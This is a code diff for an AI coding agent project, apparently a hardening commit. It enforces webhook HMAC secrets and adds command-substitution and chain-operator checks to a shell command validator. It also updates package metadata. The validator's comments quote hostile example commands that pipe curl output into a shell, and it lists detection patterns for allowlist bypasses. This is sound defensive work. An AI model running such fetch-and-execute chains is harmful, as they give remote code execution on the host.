|
||||
if (trigger.type === "webhook") {
|
||||
if (typeof trigger.secret !== "string" || trigger.secret.trim().length < 16) {
|
||||
throw badRequest(
|
||||
"Webhook trigger requires a secret of at least 16 characters for HMAC signature verification",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (Array.isArray(steps) && steps.length > 0) {
|
||||
@@ -10688,18 +10706,25 @@ export function createApiRoutes(store: TaskStore, options?: ServerOptions): Rout
|
||||
const rawBody = req.rawBody;
|
||||
const signatureHeader = req.headers["x-hub-signature-256"] as string | undefined;
|
||||
|
||||
// If webhook secret is configured, verify the signature (auth failures return 401)
|
||||
if (routine.trigger.secret) {
|
||||
if (!rawBody) {
|
||||
throw badRequest("Raw body not available for signature verification");
|
||||
}
|
||||
if (!signatureHeader) {
|
||||
throw new ApiError(401, "Missing signature header");
|
||||
}
|
||||
const verification = verifyWebhookSignature(rawBody, signatureHeader, routine.trigger.secret);
|
||||
if (!verification.valid) {
|
||||
throw new ApiError(401, verification.error ?? "Invalid signature");
|
||||
}
|
||||
// A webhook routine without a secret is treated as a misconfiguration
|
||||
// and refused. New routines require a secret at create time (see POST
|
||||
// /routines), but legacy routines persisted before that validation was
|
||||
// added could still reach this branch without one.
|
||||
if (!routine.trigger.secret) {
|
||||
throw new ApiError(
|
||||
401,
|
||||
"Webhook trigger is not configured with a secret; set routine.trigger.secret before use",
|
||||
);
|
||||
}
|
||||
if (!rawBody) {
|
||||
throw badRequest("Raw body not available for signature verification");
|
||||
}
|
||||
if (!signatureHeader) {
|
||||
throw new ApiError(401, "Missing signature header");
|
||||
}
|
||||
const verification = verifyWebhookSignature(rawBody, signatureHeader, routine.trigger.secret);
|
||||
if (!verification.valid) {
|
||||
throw new ApiError(401, verification.error ?? "Invalid signature");
|
||||
}
|
||||
|
||||
// Execute via RoutineRunner (persistence handled by RoutineRunner.completeRoutineExecution)
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
import http from "node:http";
|
||||
import { createHmac } from "node:crypto";
|
||||
import express from "express";
|
||||
import { createServer, setupTerminalWebSocket } from "./server.js";
|
||||
import type { TaskStore } from "@fusion/core";
|
||||
@@ -1137,11 +1138,17 @@ describe("createServer scoped scheduling resolver regressions", () => {
|
||||
});
|
||||
|
||||
it("POST /api/routines/:id/webhook is scope-independent (uses routine's own scope)", async () => {
|
||||
const secret = "test-secret-test-secret";
|
||||
const payload = JSON.stringify({});
|
||||
const signature =
|
||||
"sha256=" +
|
||||
createHmac("sha256", secret).update(payload).digest("hex");
|
||||
|
||||
const globalStore = createMockRoutineStore("global");
|
||||
const routineRunner = createMockRoutineRunner();
|
||||
globalStore.getRoutine.mockResolvedValue({
|
||||
...FAKE_PROJECT_ROUTINE,
|
||||
trigger: { type: "webhook" as const, webhookPath: "/trigger/test" },
|
||||
trigger: { type: "webhook" as const, webhookPath: "/trigger/test", secret },
|
||||
});
|
||||
|
||||
const store = createMockStore();
|
||||
@@ -1151,7 +1158,10 @@ describe("createServer scoped scheduling resolver regressions", () => {
|
||||
});
|
||||
|
||||
// Webhook without scope param - should work regardless of scope
|
||||
const res = await REQUEST(app, "POST", "/api/routines/routine-proj-a-1/webhook", JSON.stringify({}), { "Content-Type": "application/json" });
|
||||
const res = await REQUEST(app, "POST", "/api/routines/routine-proj-a-1/webhook", payload, {
|
||||
"Content-Type": "application/json",
|
||||
"x-hub-signature-256": signature,
|
||||
});
|
||||
|
||||
expect(res.status).toBe(200);
|
||||
expect(routineRunner.triggerWebhook).toHaveBeenCalled();
|
||||
|
||||
@@ -379,8 +379,17 @@ export function createServer(store: TaskStore, options?: ServerOptions): ReturnT
|
||||
// Only applied to the webhook route
|
||||
app.use("/api/github/webhooks", express.raw({ type: "application/json" }));
|
||||
|
||||
// Standard JSON parsing for all other routes
|
||||
app.use(express.json());
|
||||
// Standard JSON parsing for all other routes.
|
||||
// Preserve the raw payload buffer so signed endpoints (for example
|
||||
// /api/routines/:id/webhook and settings sync proxying) can verify HMAC
|
||||
// signatures and forward exact request bytes.
|
||||
app.use(express.json({
|
||||
verify: (req, _res, buf) => {
|
||||
if (buf.length > 0) {
|
||||
(req as express.Request & { rawBody?: Buffer }).rawBody = Buffer.from(buf);
|
||||
}
|
||||
},
|
||||
}));
|
||||
|
||||
// Daemon mode: bearer token authentication middleware
|
||||
// Auth is enabled when daemon option is provided OR FUSION_DAEMON_TOKEN env var is set
|
||||
|
||||
@@ -87,6 +87,22 @@ const BLOCKED_PATTERNS = [
|
||||
/\.\s*\/dev\/null/i, // Sourcing /dev/null tricks
|
||||
];
|
||||
|
||||
/**
|
||||
* Command-substitution patterns that would cause the shell to evaluate an
|
||||
* arbitrary sub-command BEFORE the allowlist check runs (e.g. `git $(curl ... | sh)`
|
||||
* evaluates to whatever the curl prints). These bypass the allowlist entirely
|
||||
* regardless of which base command is used, so they must be rejected outright.
|
||||
*/
|
||||
const SUBSTITUTION_PATTERNS = [
|
||||
/\$\(/, // $(...) — command substitution
|
||||
/`/, // `...` — backtick command substitution
|
||||
/<\(/, // <(...) — process substitution (bash)
|
||||
/>\(/, // >(...) — process substitution (bash)
|
||||
];
|
||||
|
||||
/** Chaining operators that let users combine commands in one request. */
|
||||
const CHAIN_OPERATORS = /&&|\|\||;|(?<!\|)\|(?!\|)/;
|
||||
|
||||
/**
|
||||
* Extracts the base command from a command string.
|
||||
* Handles common prefixes like environment variables and sudo.
|
||||
@@ -119,29 +135,58 @@ function extractBaseCommand(command: string): string | null {
|
||||
/**
|
||||
* Validates a command string against the allowlist and blocklist.
|
||||
* Returns an object with validation result and error message if blocked.
|
||||
*
|
||||
* Three layers of defense, applied in order:
|
||||
* 1. Reject command substitution (`$(...)`, backticks, process substitution),
|
||||
* which would otherwise let an allowlisted base command run an arbitrary
|
||||
* inner command before validation completes.
|
||||
* 2. Reject known-dangerous literal patterns.
|
||||
* 3. Split on chain operators (`;`, `&&`, `||`, `|`) and require *every*
|
||||
* segment's base command to be in the allowlist — without this, a chain
|
||||
* like `git status; curl evil | sh` would pass because only the first
|
||||
* token is checked.
|
||||
*/
|
||||
export function validateCommand(command: string): { valid: boolean; error?: string } {
|
||||
// Check for blocked patterns first (defense in depth)
|
||||
// Reject command substitution outright — it bypasses the allowlist.
|
||||
for (const pattern of SUBSTITUTION_PATTERNS) {
|
||||
if (pattern.test(command)) {
|
||||
return { valid: false, error: "Command substitution is not allowed" };
|
||||
}
|
||||
}
|
||||
|
||||
// Reject control characters and NUL bytes defensively.
|
||||
if (/[\0\r\n]/.test(command)) {
|
||||
return { valid: false, error: "Command contains invalid control characters" };
|
||||
}
|
||||
|
||||
// Check for blocked patterns (defense in depth).
|
||||
for (const pattern of BLOCKED_PATTERNS) {
|
||||
if (pattern.test(command)) {
|
||||
return { valid: false, error: "Command contains dangerous patterns and is not allowed" };
|
||||
}
|
||||
}
|
||||
|
||||
// Extract base command
|
||||
const baseCommand = extractBaseCommand(command);
|
||||
if (!baseCommand) {
|
||||
return { valid: false, error: "Could not parse command" };
|
||||
|
||||
// Split on chaining operators and validate each segment. Without this, a
|
||||
// chain like `git status; curl ... | sh` passes with only the first base
|
||||
// command checked.
|
||||
const segments = command.split(CHAIN_OPERATORS);
|
||||
for (const raw of segments) {
|
||||
const segment = raw.trim();
|
||||
if (segment.length === 0) continue;
|
||||
|
||||
const baseCommand = extractBaseCommand(segment);
|
||||
if (!baseCommand) {
|
||||
return { valid: false, error: "Could not parse command" };
|
||||
}
|
||||
|
||||
if (!ALLOWED_COMMANDS.has(baseCommand)) {
|
||||
return {
|
||||
valid: false,
|
||||
error: `Command '${baseCommand}' is not in the allowed command list. Allowed commands: ${Array.from(ALLOWED_COMMANDS).sort().join(", ")}`,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
// Check allowlist
|
||||
if (!ALLOWED_COMMANDS.has(baseCommand)) {
|
||||
return {
|
||||
valid: false,
|
||||
error: `Command '${baseCommand}' is not in the allowed command list. Allowed commands: ${Array.from(ALLOWED_COMMANDS).sort().join(", ")}`
|
||||
};
|
||||
}
|
||||
|
||||
|
||||
return { valid: true };
|
||||
}
|
||||
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/desktop",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion desktop: Electron wrapper around the Fusion dashboard for macOS, Windows, and Linux.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/desktop"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"main": "dist/main.js",
|
||||
|
||||
@@ -203,7 +203,7 @@ describe("application menu", () => {
|
||||
expect(docsItem).toBeDefined();
|
||||
docsItem?.click?.({} as never, {} as never, {} as never);
|
||||
expect(mocks.shell.openExternal).toHaveBeenCalledWith(
|
||||
"https://github.com/eclipxe/fusion#readme",
|
||||
"https://github.com/Runfusion/Fusion#readme",
|
||||
);
|
||||
});
|
||||
|
||||
|
||||
@@ -206,7 +206,7 @@ function buildHelpSubmenu(): MenuItemConstructorOptions {
|
||||
{
|
||||
label: "Fusion Documentation",
|
||||
click: () => {
|
||||
void shell.openExternal("https://github.com/eclipxe/fusion#readme");
|
||||
void shell.openExternal("https://github.com/Runfusion/Fusion#readme");
|
||||
},
|
||||
},
|
||||
],
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/engine",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion engine: executor, merger, scheduler, and automation runtime for the Fusion AI coding agent.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/engine"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": {
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/mobile",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion mobile: Capacitor wrapper around the Fusion dashboard for iOS and Android.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/mobile"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"private": true,
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/plugin-sdk",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion plugin SDK: types and helpers for authoring third-party plugins that extend the Fusion dashboard and engine.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/plugin-sdk"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": {
|
||||
|
||||
@@ -1,6 +1,16 @@
|
||||
{
|
||||
"name": "@fusion/tui",
|
||||
"version": "0.1.0",
|
||||
"description": "Fusion TUI: terminal UI for interacting with the Fusion task store and AI coding agent.",
|
||||
"homepage": "https://github.com/Runfusion/Fusion#readme",
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://github.com/Runfusion/Fusion",
|
||||
"directory": "packages/tui"
|
||||
},
|
||||
"bugs": {
|
||||
"url": "https://github.com/Runfusion/Fusion/issues"
|
||||
},
|
||||
"type": "module",
|
||||
"exports": {
|
||||
".": {
|
||||
|
||||
@@ -17,8 +17,18 @@ process.env.NODE_OPTIONS = `--max-old-space-size=${MEMORY_MB} ${process.env.NODE
|
||||
const { spawn } = await import("child_process");
|
||||
const args = process.argv.slice(2);
|
||||
|
||||
// In dev we bind the dashboard to 0.0.0.0 so the server is reachable from
|
||||
// mobile devices and other machines on the LAN for testing. Production
|
||||
// builds default to 127.0.0.1; this override only applies when starting
|
||||
// the dashboard via `pnpm dev dashboard` and only if no --host was passed.
|
||||
const needsDevHostInjection =
|
||||
args[0] === "dashboard" && !args.includes("--host");
|
||||
const forwardedArgs = needsDevHostInjection
|
||||
? [...args, "--host", "0.0.0.0"]
|
||||
: args;
|
||||
|
||||
// If no args, run default: build + CLI
|
||||
if (args.length === 0) {
|
||||
if (forwardedArgs.length === 0) {
|
||||
const pnpm = spawn("pnpm", ["build"], { stdio: "inherit", shell: true });
|
||||
pnpm.on("close", (code) => {
|
||||
if (code !== 0) process.exit(code ?? 1);
|
||||
@@ -27,6 +37,6 @@ if (args.length === 0) {
|
||||
});
|
||||
} else {
|
||||
// Forward all arguments (e.g., "dashboard", "task list", etc.)
|
||||
const cmd = spawn("pnpm", ["build", "&&", "pnpm", "exec", "tsx", "packages/cli/src/bin.ts", ...args], { stdio: "inherit", shell: true });
|
||||
const cmd = spawn("pnpm", ["build", "&&", "pnpm", "exec", "tsx", "packages/cli/src/bin.ts", ...forwardedArgs], { stdio: "inherit", shell: true });
|
||||
cmd.on("close", (c) => process.exit(c ?? 1));
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user